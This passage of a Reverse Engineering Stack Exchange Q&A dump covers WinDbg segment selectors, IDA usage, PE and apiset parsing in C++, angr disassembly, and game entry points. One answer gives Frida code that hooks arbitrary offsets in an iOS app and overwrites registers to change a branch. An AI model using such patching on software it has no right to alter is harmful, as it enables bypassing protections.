0=GDT   | 11=R3/USER  |\n33  | 0000000000110011  | 0000000000110=0X6 | 0=GDT   | 11=R3/USER  |\n</code></pre>\n<p>DUMPING First 8 Global Descriptor Table Entries</p>\n<pre><code>0: kd&gt; dpp @gdtr L8\nfffff804`43856fb0  00000000`00000000\nfffff804`43856fb8  00000000`00000000\nfffff804`43856fc0  00209b00`00000000 &lt;&lt; 0X2\nfffff804`43856fc8  00409300`00000000\nfffff804`43856fd0  00cffb00`0000ffff &lt;&lt; 0X4\nfffff804`43856fd8  00cff300`0000ffff\nfffff804`43856fe0  0020fb00`00000000 &lt;&lt; 0X6\nfffff804`43856fe8  00000000`00000000\n</code></pre>\n<p>using dg command to dissect the raw bytes dumped above</p>\n<pre><code>0: kd&gt; dg 0x10\n                                                    P Si Gr Pr Lo\nSel        Base              Limit          Type    l ze an es ng Flags\n---- ----------------- ----------------- ---------- - -- -- -- -- --------\n0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P  Lo 0000029b\n0: kd&gt; dg 0x20\n                                                    P Si Gr Pr Lo\nSel        Base              Limit          Type    l ze an es ng Flags\n---- ----------------- ----------------- ---------- - -- -- -- -- --------\n0020 00000000`00000000 00000000`ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb\n0: kd&gt; dg 0x30\n                                                    P Si Gr Pr Lo\nSel        Base              Limit          Type    l ze an es ng Flags\n---- ----------------- ----------------- ---------- - -- -- -- -- --------\n0030 00000000`00000000 00000000`00000000 Code RE Ac 3 Nb By P  Lo 000002fb\n0: kd&gt;\n</code></pre>\n<p>so between selector <strong>4 and 6 or cs = 0x23 and cs = 0x33</strong></p>\n<p>difference in both cs selector is in 0x33 Long Mode or 64 bit code execution is possible<br />\nwhereas  with cs = 0x23 executing 64 bit instruction is not possible</p>\n<p>a practical usage can be observed below in the disassembly of same bytes between cs changes</p>\n<pre><code>0:000:x86&gt; ? cs\nEvaluate expression: 35 = 00000023\n0:000:x86&gt; $$ cs is now in 2 bit mode and disassembly will be as x86 see prompt also\n0:000:x86&gt; u . l4\nwow64cpu!KiFastSystemCall:\n77c67000 ea0970c6773300  jmp     0033:77C67009\n77c67007 0000            add     byte ptr [eax],al\n77c67009 41              inc     ecx\n77c6700a ffa7f8000000    jmp     dword ptr [edi+0F8h]\n0:000:x86&gt; $$ lets single step\n0:000:x86&gt; t\nwow64cpu!KiFastSystemCall+0x9:\n00000000`77c67009 41ffa7f8000000  jmp     qword ptr [r15+0F8h] ds:00000000`77c64758={wow64cpu!CpupReturnFromSimulatedCode (00000000`77c61782)}\n0:000&gt; $$ see the x86 garbage disassembly has now a meaningful x64 instruction\n0:000&gt; $$ and prompt is not x86 anymore but x64\n\n0:000&gt; u .-9 l6\nwow64cpu!KiFastSystemCall:\n00000000`77c67000 ea              ???\n00000000`77c67001 0970c6          or      dword ptr [rax-3Ah],esi\n00000000`77c67004 7733            ja      wow64cpu!KiFastSystemCall+0x39 (00000000`77c67039)\n00000000`77c67006 0000            add     byte ptr [rax],al\n00000000`77c67008 0041ff          add     byte ptr [rcx-1],al\n00000000`77c6700b a7              cmps    dword ptr [rsi],dword ptr [rdi]\n0:000&gt; disassembling x86 code as x64 results ingarbage now\n</code></pre>\n"
    },
    {
        "Id": "31063",
        "CreationDate": "2022-10-31T16:36:57.527",
        "Body": "<p>I've been using IDA for some time and most of the time I can find the strings I am looking for in the String panel.\nIn one of the recent exe files I was working on, many string are missing, or not shown in IDA.\nSure, not all string are always visible in an exe files, some may reside outside but when I load the same exe file into <a href=\"https://suip.biz/?act=rabin2\" rel=\"nofollow noreferrer\">this site</a> for searching all strings it found all the missing string not visible in IDA.</p>\n<p>My question is how to make IDA show ALL the strings?</p>\n<p>Thanks</p>\n",
        "Title": "How to use IDA pro to find ALL strings in an exe file?",
        "Tags": "|ida|strings|",
        "Answer": "<p>The problem was that I did not induce teh resources when importing the .exe file.</p>\n"
    },
    {
        "Id": "31071",
        "CreationDate": "2022-11-02T14:33:38.080",
        "Body": "<p>I'm tracking a function called CreateIoCompletionPort in dns.exe. The import tab in IDA shows that it's imported from api-ms-win-core-io-l1-1-0.dll.\nHowever, it appears in .rdata section in the .dll file. How to find the assembly code of this function?</p>\n<pre><code>.rdata:000000018000110B aCreateiocomple db 'CreateIoCompletionPort',0\n.rdata:000000018000110B                                         ; DATA XREF: .rdata:off_1800010A4\u2191o\n.rdata:0000000180001122 ; Exported entry   2. CreateIoCompletionPort\n.rdata:0000000180001122                 public CreateIoCompletionPort\n.rdata:0000000180001122 ; HANDLE __stdcall CreateIoCompletionPort(HANDLE FileHandle, HANDLE ExistingCompletionPort, ULONG_PTR CompletionKey, DWORD NumberOfConcurrentThreads)\n.rdata:0000000180001122 CreateIoCompletionPort db 'kernel32.CreateIoCompletionPort',0\n.rdata:0000000180001122                                         ; DATA XREF: .rdata:off_180001088\u2191o\n.rdata:0000000180001142 aDeviceiocontro db 'DeviceIoControl',0  ; DATA XREF: .rdata:off_1800010A4\u2191o\n.rdata:0000000180001152 ; Exported entry   3. DeviceIoControl\n.rdata:0000000180001152                 public DeviceIoControl\n</code></pre>\n",
        "Title": "Reverse function in .rdata field",
        "Tags": "|ida|windows|",
        "Answer": "<p>i wrote this to dissect the file apisetschema.dll some time back  found in windows 10 system32 folder</p>\n<p>this code is based on <a href=\"https://www.geoffchappell.com/studies/windows/win32/apisetschema/index.htm\" rel=\"nofollow noreferrer\">Geoff Chappells studies on ApiSetSchema</a></p>\n<p>code in apisetres.cpp</p>\n<pre><code>#include &quot;apisetdefs.h&quot;\nint main(void)\n{\n    FILE *infile = NULL;\n    errno_t err = fopen_s(&amp;infile, &quot;c:\\\\windows\\\\system32\\\\apisetschema.dll&quot;, &quot;rb&quot;);\n    if (err == 0 &amp;&amp; infile != NULL)\n    {\n        fseek(infile, 0, SEEK_SET);\n        size_t siz = fread_s(peheadbuf, BUSIZ, 1, 0x400, infile);\n        if (siz == 0x400)\n        {\n            PIMAGE_DOS_HEADER dhead = (PIMAGE_DOS_HEADER)&amp;peheadbuf;\n            PIMAGE_NT_HEADERS64 nthead = (PIMAGE_NT_HEADERS64)(peheadbuf + dhead-&gt;e_lfanew);\n            PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(nthead);\n            for (WORD i = 0; i &lt; nthead-&gt;FileHeader.NumberOfSections; i++)\n            {\n                if ((memcmp(Section-&gt;Name, &quot;.apiset&quot;, 8)) == 0)\n                {\n                    fseek(infile, Section-&gt;PointerToRawData, SEEK_SET);\n                    siz = fread_s(peheadbuf, BUSIZ, 1, sizeof(APISET_SCHEMA_HEADER_V6), infile);\n                    if (siz == sizeof(APISET_SCHEMA_HEADER_V6))\n                    {\n                        apisethead = (PAPISET_SCHEMA_HEADER_V6)&amp;peheadbuf;\n                        printf(&quot;Version Number = %x\\n&quot;, apisethead-&gt;VersionNumber);\n                        printf(&quot;MapSize = %x\\n&quot;, apisethead-&gt;Mapsize);\n                        printf(&quot;isSealed = %x\\n&quot;, apisethead-&gt;isSealed);\n                        printf(&quot;Number of Apisets = %x\\n&quot;, apisethead-&gt;NumAPISets);\n                        printf(&quot;Offset to NameSpace Entries = %x\\n&quot;, apisethead-&gt;OffsetNameSpaceEntries);\n                        printf(&quot;Offset To hash Entries = %x\\n&quot;, apisethead-&gt;OffsetHashEntries);\n                        printf(&quot;Hash Multiplier = %x\\n&quot;, apisethead-&gt;HashMultiplier);\n                    }\n                    DWORD rawdataaddr = Section-&gt;PointerToRawData;\n                    DWORD mapoff = rawdataaddr + apisethead-&gt;OffsetNameSpaceEntries;\n                    for (unsigned int j = 0; j &lt; apisethead-&gt;NumAPISets; j++)\n                    {\n                        DWORD apisetname = (mapoff + (j * sizeof(API_SET_NAMESPACE_ENTRY)));\n                        printf(&quot;%x\\t&quot;, apisetname);\n                        fseek(infile, apisetname, SEEK_SET);\n                        siz = fread_s(apisetnsebuf, BUSIZ, 1, sizeof(API_SET_NAMESPACE_ENTRY), infile);\n                        apinsentry = (PAPI_SET_NAMESPACE_ENTRY)(apisetnsebuf);\n                        printf(&quot;%x\\t&quot;, apinsentry-&gt;OffsetApiSetName);\n                        DWORD apivdllname = ((rawdataaddr) + (apinsentry-&gt;OffsetApiSetName));\n                        fseek(infile, apivdllname, SEEK_SET);\n                        memset(wbuf,0,sizeof(wbuf));\n                        siz = fread_s(wbuf, WBUSIZ , 1, apinsentry-&gt;SizeApiSetName, infile);\n                        printf(&quot;%-60.*S\\t&quot;, (apinsentry-&gt;SizeApiSetName), wbuf);\n                        printf(&quot;%x\\t&quot;, apinsentry-&gt;OffsetValueEntries); \n                        DWORD apildllname = ((rawdataaddr) + (apinsentry-&gt;OffsetValueEntries) );\n                        printf(&quot;%x\\t&quot;, apildllname);\n                        fseek(infile, apildllname, SEEK_SET);\n                        siz = fread_s(apisetvalentbuf, BUSIZ, 1, sizeof(API_SET_VALUE_ENTRY), infile);\n                        apivalentry = (PAPI_SET_VALUE_ENTRY)(apisetvalentbuf);\n                        printf(&quot;%x\\t&quot; , apivalentry-&gt;ValueOffset);\n                        DWORD apivalentname = ((rawdataaddr) + (apivalentry-&gt;ValueOffset));\n                        fseek(infile,apivalentname,SEEK_SET);\n                        memset(wbuf,0,sizeof(wbuf));\n                        siz = fread_s(wbuf, WBUSIZ , 1, apivalentry-&gt;ValueLength, infile);\n                        printf(&quot;%-60.*S\\n&quot;, (apivalentry-&gt;ValueLength)/2, wbuf);\n\n                    }\n                };\n                Section++;\n            }\n        }\n    }\n}\n</code></pre>\n<p>header file  apisetres.h</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;windows.h&gt;\n\n#define BUSIZ 0x500\n#define WBUSIZ BUSIZ / 2\n\nunsigned char peheadbuf[BUSIZ];\nunsigned char apisetnsebuf[BUSIZ];\nunsigned char apisetvalentbuf[BUSIZ];\nwchar_t wbuf[BUSIZ];\n\ntypedef struct _APISET_SCHEMA_HEADER_V6\n{\n    DWORD VersionNumber;\n    DWORD Mapsize;\n    DWORD isSealed;\n    DWORD NumAPISets;\n    DWORD OffsetNameSpaceEntries;\n    DWORD OffsetHashEntries;\n    DWORD HashMultiplier;\n} APISET_SCHEMA_HEADER_V6, *PAPISET_SCHEMA_HEADER_V6;\n\ntypedef struct _API_SET_NAMESPACE_ENTRY\n{\n    DWORD isSealed;\n    DWORD OffsetApiSetName;\n    DWORD SizeApiSetName;\n    DWORD SizeApiSetNameNoHyphen;\n    DWORD OffsetValueEntries;\n    DWORD NumHosts;\n\n} API_SET_NAMESPACE_ENTRY, *PAPI_SET_NAMESPACE_ENTRY;\n\ntypedef struct _API_SET_VALUE_ENTRY\n{\n    DWORD Flags;\n    DWORD NameOffset;\n    DWORD NameLen;\n    DWORD ValueOffset;\n    DWORD ValueLength;\n\n} API_SET_VALUE_ENTRY, *PAPI_SET_VALUE_ENTRY;\n\nPAPISET_SCHEMA_HEADER_V6 apisethead = NULL;\nPAPI_SET_NAMESPACE_ENTRY apinsentry = NULL;\nPAPI_SET_VALUE_ENTRY apivalentry = NULL;\n</code></pre>\n<p>compiled and linked in win 10 x64 vc 2019 community as x64 binary with</p>\n<pre><code>cl /Zi /W4 /analyze /Ehsc /Od apisetres.cpp /link /release\n</code></pre>\n<p>executed to print both virtual dll as well as logical dll names</p>\n<pre><code>:\\&gt;apisetres.exe  &gt; output.txt\n\n:\\&gt;head -n 15 output.txt\nVersion Number = 6\nMapSize = 1c6b4\nisSealed = 0\nNumber of Apisets = 37a\nOffset to NameSpace Entries = 1c\nOffset To hash Entries = 1aae4\nHash Multiplier = 1f\n61c     538c    api-ms-onecoreuap-print-render-l1-1-0                           53d8    59d8    53ec    printrenderapihost.dll\n634     5418    api-ms-win-appmodel-identity-l1-2-0                             5460    5a60    5474    kernel.appcore.dll\n64c     5498    api-ms-win-appmodel-runtime-internal-l1-1-7                     54f0    5af0    5474    kernel.appcore.dll\n664     5504    api-ms-win-appmodel-runtime-l1-1-3                              5548    5b48    5474    kernel.appcore.dll\n67c     555c    api-ms-win-appmodel-state-l1-1-2                                559c    5b9c    5474    kernel.appcore.dll\n694     55b0    api-ms-win-appmodel-state-l1-2-0                                55f0    5bf0    5474    kernel.appcore.dll\n6ac     5604    api-ms-win-appmodel-unlock-l1-1-0                               5648    5c48    5474    kernel.appcore.dll\n6c4     565c    api-ms-win-base-bootconfig-l1-1-0                               56a0    5ca0    56b4    advapi32.dll\n</code></pre>\n<p>the hash entries ripped and pasted to a file named hashdump<br />\nsorted the hashes index wise instead of default name wise<br />\nindependnatly confirmed first 4 names by hashing them using hash algo   described in the study with a python script as below</p>\n<pre><code>#index wise sorting of hashkeys from apisetschema.dll raw data \nimport numpy as np\nnp.set_printoptions(formatter={'all':lambda x: format(x , '08X')})\na = np.fromfile('hashdump',np.dtype([('hash', '&lt;u4'), ('index', '&lt;u4')]))\nb = sorted(a,key = lambda x: x[1])\nc = list(filter(None,b))\nprint( c[0],c[1],c[2],c[3] )\n\n#hashing actual virtual dll names excluding last hyphen \n\napn = [\n&quot;api-ms-onecoreuap-print-render-l1-1&quot;,\n&quot;api-ms-win-appmodel-identity-l1-2&quot;,\n&quot;api-ms-win-appmodel-runtime-internal-l1-1&quot;,\n&quot;api-ms-win-appmodel-runtime-l1-1&quot;\n]\n\nfor j in range(0,len(apn),1):\n    hashfactor = 0x1f\n    hashkey = 0\n    for i in apn[j]:\n        hashkey = (hashkey * hashfactor + ord(i)) &amp; 0xffffffff\n    print(&quot;(%08X, %08x)&quot; % (hashkey,j),end =' ')\n</code></pre>\n<p>actual hashes index wise from apisetschema.dll versus algorithmic hashing of names from output.txt</p>\n<pre><code>:\\&gt;apisethash.py\n(BFEC7B66, 00000000) (1079FB19, 00000001) (59E37344, 00000002) (3655E8BE, 00000003)\n(BFEC7B66, 00000000) (1079FB19, 00000001) (59E37344, 00000002) (3655E8BE, 00000003)\n:\\&gt; \n</code></pre>\n"
    },
    {
        "Id": "31079",
        "CreationDate": "2022-11-04T02:20:48.220",
        "Body": "<p>As a developer, reverse engineering has always fascinated me. It amazes me to see what some people can figure out just from a dump of assembly code, and I would like to become better at doing the same.</p>\n<p>There are many websites that specialize in helping developers become better at writing code and solving problems through small challenges. An example of what I mean are websites like LeetCode, Codewars, etc. What websites are available with challenges that are specific to reverse engineering?</p>\n",
        "Title": "Are there websites for reverse engineering challenges similar the programming challenges?",
        "Tags": "|decompilation|",
        "Answer": "<p>The best way to learn is really 4 things:</p>\n<ol>\n<li><p>Search up &quot;Crackme&quot; and &quot;reverseme&quot; on your favorite search engine</p>\n</li>\n<li><p>Go to CTFTime.org, <a href=\"https://www.picoctf.org/\" rel=\"nofollow noreferrer\">https://www.picoctf.org/</a> and similar sites, and work on the Reverse Engineering challenges there</p>\n</li>\n<li><p>Try reverse engineering actual software you are interested in learning</p>\n</li>\n<li><p>Learn about interaction between the operating system and the application you are reverse engineering interact. For example on Windows, learning the WinAPI would be useful, and on Linux the Linux programming interface. The reason is that you will know simply by a program's imported functions on those operating systems what it is likely doing in a broad sense. Like, if it imports networking and cryptography OS APIs, well, you can surmise what it might be doing, etc...</p>\n</li>\n</ol>\n<p>You could also look at YouTube videos. Other than that, it's basically trial and error, there aren't really many &quot;official courses&quot; on it tbh. AFAIK, there isn't an equivalent to something like leetcode or AlgoExpert aside from that I suggested.</p>\n"
    },
    {
        "Id": "31084",
        "CreationDate": "2022-11-04T23:16:34.290",
        "Body": "<p>I have following function:</p>\n<pre><code>void __thiscall ParsePackage_v5(package_t *package, stream_t *stream)\n{\n  (*(*package-&gt;stream + 8))(package-&gt;stream, package, 4);\n}\n</code></pre>\n<pre><code>.text:0069F5A0 ; void __thiscall ParsePackage_v5(package_t *package, _DWORD stream)\n.text:0069F5A0 ParsePackage_5  proc near               ; CODE XREF: ParsePackageHeader+FB\u2193p\n.text:0069F5A0\n.text:0069F5A0                 push    ebp\n.text:0069F5A1                 mov     ebp, esp\n.text:0069F5A3                 sub     esp, 134h\n.text:0069F5A9                 push    ebx\n.text:0069F5AA                 push    esi\n.text:0069F5AB                 push    edi\n.text:0069F5AC                 mov     esi, ecx\n.text:0069F5AE                 mov     ecx, [esi+4]\n.text:0069F5B1                 mov     eax, [ecx]\n.text:0069F5B3                 push    4\n.text:0069F5B5                 push    esi\n.text:0069F5B6                 call    dword ptr [eax+8]\n</code></pre>\n<p><code>stream_t</code> defines as:</p>\n<pre><code>00000000 stream_t        struc ; (sizeof=0x14, align=0x4, mappedto_136)\n00000000 unknown         db ?\n00000001                 db ? ; undefined\n00000002                 db ? ; undefined\n00000003                 db ? ; undefined\n00000004 hFile           dd ?                    ; offset\n00000008 ReadBytes       db ?\n00000009                 db ? ; undefined\n0000000A                 db ? ; undefined\n0000000B                 db ? ; undefined\n0000000C field_C         db ?\n0000000D                 db ? ; undefined\n0000000E                 db ? ; undefined\n0000000F                 db ? ; undefined\n00000010 field_10        db ?\n00000011                 db ? ; undefined\n00000012                 db ? ; undefined\n00000013                 db ? ; undefined\n00000014 stream_t        ends\n</code></pre>\n<p><code>(*(*package-&gt;stream + 8))</code> supposed to be converted into <code>package-&gt;stream-&gt;ReadByte</code> but it wont. How can i do this properly and declare function pointer as field type of <code>ReadByte</code>?</p>\n",
        "Title": "Function pointer as struct field in IDA",
        "Tags": "|ida|",
        "Answer": "<p>The first problem in your example is that the fields are defined as bytes, not dwords. Press <kbd>D</kbd> twice on those fields to turn them into dwords.</p>\n<p>The second problem is that the fields don't have proper function pointer types applied to them. Highlight the fields and press <kbd>Y</kbd> to set the type. Enter something like <code>void (__thiscall *ReadBytes)(stream_t *this, package_t *package, size_t size)</code> to create a function pointer type.</p>\n"
    },
    {
        "Id": "31100",
        "CreationDate": "2022-11-07T19:18:56.947",
        "Body": "<p>Is it possible to hook a <code>sub_...</code> object in Frida ? I disassembled an <code>arm64</code> executable, when running the app on my iPhone, I can see a lot of classes also in the disassembled executable, but I can't reach these <code>sub_...</code> objects. If this is possible, I'd like to know how can I edit them to change a certain procedure (in my case <code>b.ne</code> to <code>b.eq</code>), and also if it is possible to hook some <code>loc_...</code> objects.</p>\n<p>Thanks for all your answers.</p>\n",
        "Title": "frida hook `loc_*` or `sub_*`",
        "Tags": "|disassemblers|ios|javascript|frida|assembler|",
        "Answer": "<p>Update:\nFirst, you need the base address of the module where your <code>loc_...</code> or <code>sub_...</code> is. To get it, do:</p>\n<pre><code>var adr = Process.findModuleByName(&quot;YOURMODULENAME&quot;)[&quot;base&quot;];\n</code></pre>\n<p>Then, get the offset of your <code>loc_...</code> or <code>sub_...</code>. It is easy since they are named from it, like so: <code>loc_342964</code>. So now, add this offset to the base of your module like so:</p>\n<pre><code>var n_adr = adr.add(ptr(0x342964));\n</code></pre>\n<p>You can ensure it is the correct address by displaying the instruction at the place of the address by:</p>\n<pre><code>console.log(Instruction.parse(n_adr).toString(););\n</code></pre>\n<p>If it is not a procedure, use:</p>\n<pre><code>console.log(Memory.ReadCString(n_adr););\n</code></pre>\n<p>The you can attach it like this:</p>\n<pre><code>Interceptor.attach(n_adr, function() {\n    console.log(JSON.Stringify(this.context));\n});\n</code></pre>\n<p>To edit values, edit directly the <code>this.context</code> object. Ex:</p>\n<pre><code>Interceptor.attach(n_adr, function() {\n    this.context.w0 = ptr(0x0);\n});\n</code></pre>\n"
    },
    {
        "Id": "31103",
        "CreationDate": "2022-11-08T07:19:45.273",
        "Body": "<p>Some codes in IDA are not clear enough. Especially when they do reference after calculation</p>\n<pre><code>while ( dx33[rdi24] );\n  if ( rax35 != &amp;WPP_GLOBAL_Control &amp;&amp; (*((_BYTE *)rax35 + 68) &amp; 2) != 0 &amp;&amp; *((_BYTE *)rax35 + 65) &gt;= 4u )\n  {\n    WPP_SF_sd(\n      (unsigned int)rax35[7],\n      22,\n      (unsigned int)&amp;WPP_b7e02e4f98cc3b1bbc566e561d210229_Traceguids,\n      (_DWORD)dx33,\n      rdi24 - 1);\n    dx33 = Str;\n  }\n  if ( (_DWORD)rdi24 != 1 &amp;&amp; dx33[(int)rdi24 - 1] == 46 &amp;&amp; dx33[(int)rdi24 - 2] == 46 )\n  {\n    dx33[(int)rdi24 - 1] = 0;\n    dx33 = Str;\n  }\n</code></pre>\n<p>For some parts like</p>\n<blockquote>\n<p>(*((_BYTE *)rax35 + 68) &amp; 2)</p>\n</blockquote>\n<p>Can I change it to a more human-readable form? I remember changing the function argument type like int a1 to JNIEnv* can make the pointer reference more readable because it recovers some JNI function names so that</p>\n<blockquote>\n<p>...<em>(_DWORD</em>)(a1+312)(a1,v9)</p>\n</blockquote>\n<p>will become something like</p>\n<blockquote>\n<p>-&gt;func(a1,v9)</p>\n</blockquote>\n<p>But I'm not sure how to do this for other types.</p>\n",
        "Title": "How to make pseudocode in IDA more human readable",
        "Tags": "|ida|",
        "Answer": "<p>There\u2019s no single solution for every case but basically you need to use the decompiler\u2019s interactive features:</p>\n<ul>\n<li>Renaming</li>\n<li>Retyping</li>\n<li>Commenting</li>\n<li>Navigation between different functions</li>\n</ul>\n<p>Just looking at small parts of the function and renaming a few variables to some name which makes sense can go a long way. Start small and keep making changes until things start to make sense. Sometimes you may need yo visit multiple functions to see how a specific variable is used to figure out its type.</p>\n"
    },
    {
        "Id": "31116",
        "CreationDate": "2022-11-09T19:32:14.913",
        "Body": "<p>I came across the following piece of 16-bit x86 code for multiplying a value by 40, using just shifts and additions:</p>\n<pre><code>; BX holds the value we want to multiply.\n; The result is stored in AX.\nMOV AX, BX\n\n; Multiply by 4 using two shifts\nSHL AX, 1\nSHL AX, 1\n\n; Add the original value, this gives us BX * 5\nADD AX, BX\n\n; Now multiply by 8 using three shifts for the final result\nSHL AX, 1\nSHL AX, 1\nSHL AX, 1\n</code></pre>\n<p>Now what I'd like to know is why this code uses multiple shifts in a row instead of just doing <code>SHL 2</code> and <code>SHL 3</code>. It was almost certainly written by hand, so I assume there was some speed benefit or something. Does anyone have any insights?</p>\n<p>The code was written in 1991 and was targeting 286 and 386 class machines.</p>\n",
        "Title": "Why does this code use multiple shifts instead of one?",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>Shift/rotate with an immediate byte didn't exist until the 80186.  On the 8086 only shifting/rotating by 1 or CL was possible.  So it is likely you have some 8086 code.</p>\n"
    },
    {
        "Id": "31119",
        "CreationDate": "2022-11-10T15:07:47.450",
        "Body": "<p>I am trying to get the entry point of an executable game file.<br />\nI have used 3 ways, 2 programs, and 1 c++ code.</p>\n<p><a href=\"https://i.stack.imgur.com/8ZOBT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8ZOBT.png\" alt=\"\" /></a></p>\n<p>C++ Code:</p>\n<pre><code>HMODULE GetModuleHandle(CONST CHAR* ModuleName, DWORD ProcessId) {\n    HMODULE hModule = 0;\n    HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);\n    MODULEENTRY32 ModuleEntry32 = { 0 };\n    ModuleEntry32.dwSize = sizeof(MODULEENTRY32);\n\n    if (Module32First(Snapshot, &amp;ModuleEntry32)) {\n        do {\n            if (strcmp(ModuleEntry32.szModule, ModuleName) == 0) {\n                hModule = ModuleEntry32.hModule;\n                break;\n            }\n        } while (Module32Next(Snapshot, &amp;ModuleEntry32));\n    }\n    CloseHandle(Snapshot);\n    return hModule;\n}\n\nint main(int argc, char** argv) {\n    PROCESSENTRY32 ps;\n    MODULEINFO mi;\n    HANDLE hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    ps.dwSize = sizeof(PROCESSENTRY32);\n    while (Process32Next(hsnap, &amp;ps)) {\n        if (strcmp(&quot;ms.exe&quot;, ps.szExeFile) == 0)\n            break;\n    }\n    CloseHandle(hsnap);\n    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, ps.th32ProcessID);\n    if (!process) exit(0);\n    GetModuleInformation(process, GetModuleHandle(&quot;ms.exe&quot;, ps.th32ProcessID), &amp;mi, sizeof(MODULEINFO));\n    std::cout &lt;&lt; std::hex &lt;&lt; mi.EntryPoint;\n    return 0;\n}\n</code></pre>\n<p><strong>How do I know which one is the correct entry point?</strong><br />\nNote that what I care about is the C++ code.</p>\n",
        "Title": "I have gotten three different entry points which one is the correct one?",
        "Tags": "|c++|process|entry-point|",
        "Answer": "<p>the last two seems to be right <strong>x38274</strong> where x is base<br />\nwhich would normally change during evey run because of ASLR (Address Space Layout Randomization)</p>\n<p>and your code as is doesnt seem to correct ?\nGetModuleBaseAddress  doesn't seem to be a documented Windows API<br />\ngoogling shows it return a DWORD ? NOT a HMODULE as required by GetModuleInformation()<br />\nHMODULE in x64 is 8 bytes wide while a DWORD is 4 bytes<br />\nthere may be truncation problem (have you compiled with all warnings enabled and corrected the warnings</p>\n<p>anyway shown below is a sample getmba.cpp compiled and linked as getmba.exe in winx-x64-vs2019 with</p>\n<pre><code>cl /Zi /W4 /analyze /Od /EHsc getmba.cpp /link /release\n\n#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n#include &lt;Psapi.h&gt;\nint main(void)\n{\n    MODULEINFO mi = {0};\n    HANDLE curproc = GetCurrentProcess();\n    HMODULE curmod = GetModuleHandleA(&quot;getmba.exe&quot;);\n    if (curproc != NULL &amp;&amp; curmod != NULL)\n    {\n        GetModuleInformation(curproc, curmod, &amp;mi, sizeof(MODULEINFO));\n        printf(&quot;Entry Point = %p\\nBase Of Dll = %p\\n&quot;, mi.EntryPoint , mi.lpBaseOfDll );\n    }\n}\n</code></pre>\n<p>executing the compiled binary gives</p>\n<pre><code>Entry Point = 00007FF7EE14143C\nBase Of Dll = 00007FF7EE140000\n</code></pre>\n<p>confirming with dumpbin</p>\n<pre><code>dumpbin /headers getmba.exe | find &quot;entry&quot;\n            143C entry point (000000014000143C) mainCRTStartup\n</code></pre>\n"
    },
    {
        "Id": "31126",
        "CreationDate": "2022-11-11T01:46:37.450",
        "Body": "<p>I am trying to read the binary code in the text section of an executable game file (PE) programmatically but I don't know the start address and the end address of the text section.\nI am using C++/Win32Api to do that mission.\nAre there functions that can help me for that purpose?</p>\n<p>Notice: I have searched a lot but I didn't find anything related to that.</p>\n",
        "Title": "How do I get the start address of the 'code section' and its size to know the end address?",
        "Tags": "|c++|binary|address|section|",
        "Answer": "<p>I was post a answer in Stack Overflow, and this is the code:</p>\n<pre><code>HMODULE hMod = LoadLibrary(&quot;foo.dll&quot;);\nPIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(hMod + ((PIMAGE_DOS_HEADER)hMod)-&gt;e_lfanew);\nPIMAGE_SECTION_HEADER SectionHeaders = IMAGE_FIRST_SECTION(NtHeaders);\nPIMAGE_SECTION_HEADER codeSection2;\nfor (WORD SectionIndex = 0; SectionIndex &lt; NtHeaders-&gt;FileHeader.NumberOfSections; SectionIndex++)\n{\n    PIMAGE_SECTION_HEADER SectionHeader = &amp;SectionHeaders[SectionIndex];\n    if (SectionHeader-&gt;Characteristics &amp; IMAGE_SCN_CNT_CODE){\n        codeSection2 = SectionHeader;\n        break;\n    }\n}\nIMAGE_SECTION_HEADER codeSection = *codeSection2;\nFreeLibrary(hMod);\n</code></pre>\n"
    },
    {
        "Id": "31137",
        "CreationDate": "2022-11-15T15:47:13.267",
        "Body": "<p>I'm developing a python script for Angr that has to print as output something in the form of:</p>\n<pre><code>Instruction_disassembled        opcode_bytes_of_instruction\n</code></pre>\n<p>This is my python script:</p>\n<pre><code>    f = open(sys.argv[2], 'w')\n    base_addr = 0x100000\n    p = angr.Project(sys.argv[1], auto_load_libs = False, load_options = {'main_opts':{'base_addr': base_addr}})\n    cfg = p.analyses.CFGFast()\n    cfg.normalize()\n    for func_node in cfg.functions.values():\n        for block in func_node.blocks:\n            print(re.sub(r'.', '', str(block.disassembly), count = 10) + '\\t' + block.bytes.hex()) \n</code></pre>\n<p>With my script I'm receiving an output that has two things that I don't want: addresses at the beginning of the line and the opcode bytes that are printed all at the end of the block instead at the end of each line, for example:</p>\n<pre><code>endbr64 \n0x101004:   sub rsp, 8\n0x101008:   mov rax, qword ptr [rip + 0x2fd9]\n0x10100f:   test    rax, rax\n0x101012:   je  0x101016    f30f1efa4883ec08488b05d92f00004885c07402\n\n</code></pre>\n<p>Unfortunately the block is being printed as a whole and I can't either remove the addresses or print correctly the opcode bytes.</p>\n<p>Can you tell me another way to iterate through the functions in order to have the single instructions or how can I parse this? Thank you in advance.</p>\n",
        "Title": "Clean Angr disassemble output",
        "Tags": "|disassembly|python|disassemblers|angr|",
        "Answer": "<p>I have solved it with:</p>\n<pre><code>for func_node in cfg.functions.values():\n        for block in func_node.blocks:\n            c = block.capstone\n\n            for i in c.insns:\n                f.write(' '.join(re.findall(r'.{1,2}', i.insn.bytes.hex())).upper() + '\\t\\t' + i.mnemonic.upper() +\n                        &quot; &quot; + i.op_str.upper() + '\\n')\n</code></pre>\n"
    },
    {
        "Id": "31138",
        "CreationDate": "2022-11-15T22:32:23.843",
        "Body": "<p>Does arbitrary kernel read write from usermode count as a vulnerability if it requires admin or is it fine since it requires admin?</p>\n",
        "Title": "does arbitrary kernel read write from usermode count as a vulnerability if it requires admin",
        "Tags": "|kernel|vulnerability-analysis|",
